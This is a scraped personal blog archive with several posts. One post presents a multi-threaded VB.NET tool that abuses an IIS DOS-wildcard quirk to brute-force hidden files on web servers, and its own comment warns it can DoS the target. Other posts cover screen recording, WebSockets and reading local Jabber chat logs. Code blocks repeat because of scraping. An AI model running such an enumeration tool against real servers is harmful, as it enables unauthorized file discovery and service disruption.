March 2018 – ControllingTheInter.net

Recording Screen with VLC or FFMPEG using screen-capture-recorder

This little Batch script is one of my favorites, I work with alot of different people that are non-technical and cannot reproduce issues on demand. This nifty little VLC script captures everything in a tiny tiny file and on average records about 6 hours of screen time in only 40MB of data. Not bad eh! …

Continue reading “Recording Screen with VLC or FFMPEG using screen-capture-recorder”

Certified Ethical Hacker Exam Application

So, Today’s the day. I am submitting my application for the CEH exam. To my surprise that actually care about your training and creds before taking the test unlike compTIA’s A+, Network+ or Security+ exams. I attached the link below for anyone who is interested in taking the exam. You require a minimum of two …

Continue reading “Certified Ethical Hacker Exam Application”

Exploiting FindFirstFile on WebServers

So, depending on the version of IIS installed on a Server, the “<<” or “>>” can be used as a wildcard for browsing to files. This issue is at the DOS Wildcard level, Src: Stack overflow. I need to add additional information, I’ll edit this post when I get addtional time.

Public Class Form1
    Dim NewLetter As Char
    Dim MyWebRequest As New Net.WebClient()
    Dim Extention As String = ".cfm"
    Dim FileLen As Integer = 0
    Dim SleepTime As Integer = 1000
    Const WebSite As String = "http://MyWebsite.com/"
    Private Sub ExplorePath(ByVal RequestString As String, Optional ByVal LastAscii As Integer = 0)
        Application.DoEvents()
        Dim Data As Byte() = Nothing
        Dim NumberOfFilesFound As Integer = 0
        Dim DataLength As Integer = 0
        NumberOfFilesFound = 0
        Debug.WriteLine("Trying: " &amp; WebSite &amp; RequestString &amp; "&lt;" &amp; Extention)
        Try
            If LastAscii = 0 Then
                Data = MyWebRequest.DownloadData(WebSite &amp; RequestString &amp; "&lt;" &amp; Extention)
            Else
                Data = MyWebRequest.DownloadData(WebSite &amp; RequestString &amp; Chr(LastAscii) &amp; "&lt;" &amp; Extention)
            End If
            If DataLength &lt;&gt; Data.Length Then
                If LastAscii = 0 Then
                    ListBox1.Items.Add(RequestString &amp; "&lt;" &amp; Extention)
                Else
                    ListBox1.Items.Add(RequestString &amp; Chr(LastAscii) &amp; "&lt;" &amp; Extention)
                    Try
                        MyWebRequest.DownloadData(WebSite &amp; RequestString &amp; Chr(LastAscii) &amp; Extention)
                        ListBox1.Items.Add("--[" &amp; RequestString &amp; Chr(LastAscii) &amp; Extention &amp; "]--")
                    Catch ex As Exception
                    End Try
                    ExplorePath(RequestString &amp; ChrW(LastAscii), 48)
                End If
            End If
        Catch ex As Exception
            DataLength = 0
        End Try
        Select Case LastAscii
            Case 0
                LastAscii = 48
            Case 58
                LastAscii = 65 'A
            Case 91
                LastAscii = 48 'Zero
                Return
            Case Else
                LastAscii += 1
        End Select
        Threading.Thread.Sleep(SleepTime)
        ExplorePath(RequestString, LastAscii)
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        'THIS CAN DOS THE SYSTEM
        'Add a Sleep Command
        'Exit Sub
        Dim MyThread(25) As Threading.Thread
        Dim MyThreadClass(25) As ThreadClassAction
        If TextBox2.Text = "" Then
            For i = 0 To 25
                MyThreadClass(i) = New ThreadClassAction
                MyThreadClass(i).CallBack = Me
                MyThread(i) = New Threading.Thread(AddressOf MyThreadClass(i).Launch)
                MyThread(i).Name = Chr(Asc("A") + i)
                MyThread(i).IsBackground = True
                MyThread(i).Start()
            Next
        Else
            Extention = TextBox1.Text
            ExplorePath(TextBox2.Text)
            MsgBox("Done!")
        End If
    End Sub
End Class
Public Class ThreadClass
    Public CallBack As Form
    Public Data As String
    Public Sub AddListItem1()
        Form1.ListBox1.Items.Add(Data)
    End Sub
    Public Sub AddListItem2()
        Form1.ListBox2.Items.Add(Data)
    End Sub
End Class
Public Class ThreadClassAction
    Public CallBack As Form
    Dim MyWebRequest As New Net.WebClient()
    Private Delegate Sub MyDelPtr()
    Public Extention As String = ".cfm"
    Const WebSite As String = "http://MyWebsite.com/"
    Public Sub Launch()
        ExplorePathThread(Threading.Thread.CurrentThread.Name)
    End Sub
    Private Sub ExplorePathThread(ByVal RequestString As String, Optional ByVal LastAscii As Integer = 0)
        Debug.WriteLine("Starting Thread: " &amp; Threading.Thread.CurrentThread.Name)
        Application.DoEvents()
        Dim MyThreadClass As New ThreadClass
        MyThreadClass.CallBack = CallBack
        Dim MyDel1 = New MyDelPtr(AddressOf MyThreadClass.AddListItem1)
        Dim MyDel2 = New MyDelPtr(AddressOf MyThreadClass.AddListItem2)
        Dim Data As Byte() = Nothing
        Dim NumberOfFilesFound As Integer = 0
        Dim DataLength As Integer = 0
        NumberOfFilesFound = 0
        Debug.WriteLine("Trying: " &amp; WebSite &amp; RequestString &amp; "&lt;" &amp; Extention)
        Try
            If LastAscii = 0 Then
                Data = MyWebRequest.DownloadData(WebSite &amp; RequestString &amp; "&lt;" &amp; Extention)
            Else
                Data = MyWebRequest.DownloadData(WebSite &amp; RequestString &amp; Chr(LastAscii) &amp; "&lt;" &amp; Extention)
            End If
            If DataLength &lt;&gt; Data.Length Then
                If LastAscii = 0 Then
                    MyThreadClass.Data = (RequestString &amp; "&lt;" &amp; Extention)
                    CallBack.Invoke(MyDel1)
                Else
                    MyThreadClass.Data = (RequestString &amp; Chr(LastAscii) &amp; "&lt;" &amp; Extention)
                    CallBack.Invoke(MyDel1)
                    Try
                        MyWebRequest.DownloadData(WebSite &amp; RequestString &amp; Chr(LastAscii) &amp; Extention)
                        MyThreadClass.Data = ("--[" &amp; RequestString &amp; Chr(LastAscii) &amp; Extention &amp; "]--")
                        CallBack.Invoke(MyDel2)
                    Catch ex As Exception
                    End Try
                    ExplorePathThread(RequestString &amp; ChrW(LastAscii), 48)
                End If
            End If
        Catch ex As Exception
            DataLength = 0
        End Try
        Select Case LastAscii
            Case 0
                LastAscii = 48
            Case 58
                LastAscii = 65 'A
            Case 91
                LastAscii = 48 'Zero
                Return
            Case Else
                LastAscii += 1
        End Select
        ExplorePathThread(RequestString, LastAscii)
    End Sub
End Class

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

Public Class Form1

Dim NewLetter As Char

Dim MyWebRequest As New Net.WebClient()

Dim Extention As String = ".cfm"

Dim FileLen As Integer = 0

Dim SleepTime As Integer = 1000

Const WebSite As String = "http://MyWebsite.com/"

Private Sub ExplorePath(ByVal RequestString As String, Optional ByVal LastAscii As Integer = 0)

Application.DoEvents()

Dim Data As Byte() = Nothing

Dim NumberOfFilesFound As Integer = 0

Dim DataLength As Integer = 0

NumberOfFilesFound = 0

Debug.WriteLine("Trying: " & WebSite & RequestString & "<" & Extention)

Try

If LastAscii = 0 Then

Data = MyWebRequest.DownloadData(WebSite & RequestString & "<" & Extention)

Else

Data = MyWebRequest.DownloadData(WebSite & RequestString & Chr(LastAscii) & "<" & Extention)

End If

If DataLength <> Data.Length Then

If LastAscii = 0 Then

ListBox1.Items.Add(RequestString & "<" & Extention)

Else

ListBox1.Items.Add(RequestString & Chr(LastAscii) & "<" & Extention)

Try

MyWebRequest.DownloadData(WebSite & RequestString & Chr(LastAscii) & Extention)

ListBox1.Items.Add("--[" & RequestString & Chr(LastAscii) & Extention & "]--")

Catch ex As Exception

End Try

ExplorePath(RequestString & ChrW(LastAscii), 48)

End If

Catch ex As Exception

DataLength = 0

End Try

Select Case LastAscii

Case 0

LastAscii = 48

Case 58

LastAscii = 65 'A

Case 91

LastAscii = 48 'Zero

Return

Case Else

LastAscii += 1

End Select

Threading.Thread.Sleep(SleepTime)

ExplorePath(RequestString, LastAscii)

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

'THIS CAN DOS THE SYSTEM

'Add a Sleep Command

'Exit Sub

Dim MyThread(25) As Threading.Thread

Dim MyThreadClass(25) As ThreadClassAction

If TextBox2.Text = "" Then

For i = 0 To 25

MyThreadClass(i) = New ThreadClassAction

MyThreadClass(i).CallBack = Me

MyThread(i) = New Threading.Thread(AddressOf MyThreadClass(i).Launch)

MyThread(i).Name = Chr(Asc("A") + i)

MyThread(i).IsBackground = True

MyThread(i).Start()

Else

Extention = TextBox1.Text

ExplorePath(TextBox2.Text)

MsgBox("Done!")

End If

End Sub

End Class

Public Class ThreadClass

Public CallBack As Form

Public Data As String

Public Sub AddListItem1()

Form1.ListBox1.Items.Add(Data)

End Sub

Public Sub AddListItem2()

Form1.ListBox2.Items.Add(Data)

End Sub

End Class

Public Class ThreadClassAction

Public CallBack As Form

Dim MyWebRequest As New Net.WebClient()

Private Delegate Sub MyDelPtr()

Public Extention As String = ".cfm"

Const WebSite As String = "http://MyWebsite.com/"

Public Sub Launch()

ExplorePathThread(Threading.Thread.CurrentThread.Name)

End Sub

Private Sub ExplorePathThread(ByVal RequestString As String, Optional ByVal LastAscii As Integer = 0)

Debug.WriteLine("Starting Thread: " & Threading.Thread.CurrentThread.Name)

Application.DoEvents()

Dim MyThreadClass As New ThreadClass

MyThreadClass.CallBack = CallBack

Dim MyDel1 = New MyDelPtr(AddressOf MyThreadClass.AddListItem1)

Dim MyDel2 = New MyDelPtr(AddressOf MyThreadClass.AddListItem2)

Dim Data As Byte() = Nothing

Dim NumberOfFilesFound As Integer = 0

Dim DataLength As Integer = 0

NumberOfFilesFound = 0

Debug.WriteLine("Trying: " & WebSite & RequestString & "<" & Extention)

Try

If LastAscii = 0 Then

Data = MyWebRequest.DownloadData(WebSite & RequestString & "<" & Extention)

Else

Data = MyWebRequest.DownloadData(WebSite & RequestString & Chr(LastAscii) & "<" & Extention)

End If

If DataLength <> Data.Length Then

If LastAscii = 0 Then

MyThreadClass.Data = (RequestString & "<" & Extention)

CallBack.Invoke(MyDel1)

Else

MyThreadClass.Data = (RequestString & Chr(LastAscii) & "<" & Extention)

CallBack.Invoke(MyDel1)

Try

MyWebRequest.DownloadData(WebSite & RequestString & Chr(LastAscii) & Extention)

MyThreadClass.Data = ("--[" & RequestString & Chr(LastAscii) & Extention & "]--")

CallBack.Invoke(MyDel2)

Catch ex As Exception

End Try

ExplorePathThread(RequestString & ChrW(LastAscii), 48)

End If

Catch ex As Exception

DataLength = 0

End Try

Select Case LastAscii

Case 0

LastAscii = 48

Case 58

LastAscii = 65 'A

Case 91

LastAscii = 48 'Zero

Return

Case Else

LastAscii += 1

End Select

ExplorePathThread(RequestString, LastAscii)

End Sub

End Class

Working with HTML5 WebSockets and Live updates via .NET

Here is an example of a drawup I threw together to allow dynamic row updating.

&lt;!DOCTYPE html&gt;
&lt;html&gt;
    &lt;head&gt;
        &lt;script&gt;
            var ClosedCaptioningSocket = new WebSocket("ws://[WANIP]:[WANPORT]/", "protocolOne")
            ClosedCaptioningSocket.onopen = function (event)
            {
                ClosedCaptioningSocket.send("Here's some text that the server is urgently awaiting!");
                document.getElementById("CCDiv").style.display='block';
            };
            ClosedCaptioningSocket.onmessage = function (event)
            {
                document.getElementById("HTML5CC").innerHTML += event.data;
                document.getElementById("HTML5CC").scrollTop = document.getElementById("HTML5CC").scrollHeight
            }
        &lt;/script&gt;
    &lt;/head&gt;
&lt;body&gt;
&lt;div id="CCDiv" name="CCDiv" style='display:none';&gt;
&lt;br&gt;&lt;br&gt;
Closed Captioning
&lt;br&gt;
    &lt;textarea name="HTML5CC" id="HTML5CC" rows="5" cols="200" readonly="false"&gt;&lt;/textarea&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;

<!DOCTYPE html>

<html>

<head>

var ClosedCaptioningSocket = new WebSocket("ws://[WANIP]:[WANPORT]/", "protocolOne")

ClosedCaptioningSocket.onopen = function (event)

{

ClosedCaptioningSocket.send("Here's some text that the server is urgently awaiting!");

document.getElementById("CCDiv").style.display='block';

};

ClosedCaptioningSocket.onmessage = function (event)

{

document.getElementById("HTML5CC").innerHTML += event.data;

document.getElementById("HTML5CC").scrollTop = document.getElementById("HTML5CC").scrollHeight

}

</script>

</head>

<body>

Closed Captioning

<br>

</div>

</body>

</html>

Under the hood to send the data using .NET, Create a socket and send out data once connected to something like this.

Public Sub SendData(Data As String)
        Dim Stream As NetworkStream = _TcpClient.GetStream()
        Dim DataToSend As Byte() = System.Text.Encoding.UTF8.GetBytes(Data)
        Dim FRRROPCODE As Byte = Convert.ToByte("10000001", 2) 'FIN is set, and OPCODE is 1 or Text
        Dim header As Byte() = {FRRROPCODE, Convert.ToByte(DataToSend.Length)}
        Dim ResponseData As Byte()
        ReDim ResponseData((header.Length + DataToSend.Length) - 1)
        'NOTEWORTHY: if you Redim ResponseData(header.length + Payload.Length).. you'll add a 0 value byte at the end of the response data..
        'which tells the client that your next stream write will be a continuation frame..
        Dim index As Integer = 0
        Buffer.BlockCopy(header, 0, ResponseData, index, header.Length)
        index += header.Length
        Buffer.BlockCopy(DataToSend, 0, ResponseData, index, DataToSend.Length)
        index += DataToSend.Length
        Stream.Write(ResponseData, 0, ResponseData.Length)
    End Sub

Public Sub SendData(Data As String)

Dim Stream As NetworkStream = _TcpClient.GetStream()

Dim DataToSend As Byte() = System.Text.Encoding.UTF8.GetBytes(Data)

Dim FRRROPCODE As Byte = Convert.ToByte("10000001", 2) 'FIN is set, and OPCODE is 1 or Text

Dim header As Byte() = {FRRROPCODE, Convert.ToByte(DataToSend.Length)}

Dim ResponseData As Byte()

ReDim ResponseData((header.Length + DataToSend.Length) - 1)

'NOTEWORTHY: if you Redim ResponseData(header.length + Payload.Length).. you'll add a 0 value byte at the end of the response data..

'which tells the client that your next stream write will be a continuation frame..

Dim index As Integer = 0

Buffer.BlockCopy(header, 0, ResponseData, index, header.Length)

index += header.Length

Buffer.BlockCopy(DataToSend, 0, ResponseData, index, DataToSend.Length)

index += DataToSend.Length

Stream.Write(ResponseData, 0, ResponseData.Length)

End Sub

Pulling Jabber Chat Logs

So this little piece came in handy to pull and archive away chat logs on the client’s local machine. We barely just moved to Version 11.9 and now it seems to have broken/encrypted the database (Finally) But for anyone else still running an older version…

Imports System.Text.RegularExpressions
Public Class Form1
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Dim strDB As String = "Data Source=" &amp; "C:\Users\" &amp; Environment.UserName &amp; "\AppData\Local\Cisco\Unified Communications\Jabber\CSF\History\" &amp; Environment.UserName &amp; "@[DOMAIN].db" &amp; ";pooling=false"
        Using Sqlight As SQLite.SQLiteConnection = New SQLite.SQLiteConnection(strDB)
            Using Sqlcmd As SQLite.SQLiteCommand = Sqlight.CreateCommand()
                Sqlcmd.CommandText = "Select * from history_message order by date desc"
                Sqlight.Open()
                Try
                    Using myReader As SQLite.SQLiteDataReader = Sqlcmd.ExecuteReader()
                        While myReader.Read
                            Dim pattern As String = "(?:&lt;div&gt;)(.+)&lt;\/div&gt;"
                            Dim R As Regex = New Regex(pattern, RegexOptions.IgnoreCase)
                            Dim m As Match = R.Match(myReader.GetString(2))
                            Dim Epoch As Integer = myReader.GetInt32(3)
                            'Debug.WriteLine(myReader.GetString(4) &amp; " - " &amp; FromUnix(Epoch, False) &amp; ":" &amp; m.Groups(1).ToString)
                            Debug.WriteLine(myReader.GetString(4) &amp; " - " &amp; m.Groups(1).ToString)
                        End While
                    End Using
                Catch ex As Exception
                    Debug.WriteLine(ex.Message)
                End Try
            End Using
        End Using
        End
    End Sub
    Public ReadOnly Property Epoch() As DateTime
        Get
            Return New DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)
        End Get
    End Property
    Public Function FromUnix(ByVal seconds As Integer, local As Boolean) As DateTime
        Dim dt = Epoch.AddSeconds(seconds)
        If local Then dt = dt.ToLocalTime
        Return dt
    End Function
    Public Function ToUnix(ByVal dt As DateTime) As Integer
        If dt.Kind = DateTimeKind.Local Then dt = dt.ToUniversalTime
        Return CInt((dt - Epoch).TotalSeconds)
    End Function
End Class

Imports System.Text.RegularExpressions

Public Class Form1

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

Dim strDB As String = "Data Source=" & "C:\Users\" & Environment.UserName & "\AppData\Local\Cisco\Unified Communications\Jabber\CSF\History\" & Environment.UserName & "@[DOMAIN].db" & ";pooling=false"

Using Sqlight As SQLite.SQLiteConnection = New SQLite.SQLiteConnection(strDB)

Using Sqlcmd As SQLite.SQLiteCommand = Sqlight.CreateCommand()

Sqlcmd.CommandText = "Select * from history_message order by date desc"

Sqlight.Open()

Try

Using myReader As SQLite.SQLiteDataReader = Sqlcmd.ExecuteReader()

While myReader.Read

Dim pattern As String = "(?:<div>)(.+)<\/div>"

Dim R As Regex = New Regex(pattern, RegexOptions.IgnoreCase)

Dim m As Match = R.Match(myReader.GetString(2))

Dim Epoch As Integer = myReader.GetInt32(3)

'Debug.WriteLine(myReader.GetString(4) & " - " & FromUnix(Epoch, False) & ":" & m.Groups(1).ToString)

Debug.WriteLine(myReader.GetString(4) & " - " & m.Groups(1).ToString)

End While

End Using

Catch ex As Exception

Debug.WriteLine(ex.Message)

End Try

End Using

End

End Sub

Public ReadOnly Property Epoch() As DateTime

Get

Return New DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)

End Get

End Property

Public Function FromUnix(ByVal seconds As Integer, local As Boolean) As DateTime

Dim dt = Epoch.AddSeconds(seconds)

If local Then dt = dt.ToLocalTime

Return dt

End Function

Public Function ToUnix(ByVal dt As DateTime) As Integer

If dt.Kind = DateTimeKind.Local Then dt = dt.ToUniversalTime

Return CInt((dt - Epoch).TotalSeconds)

End Function

End Class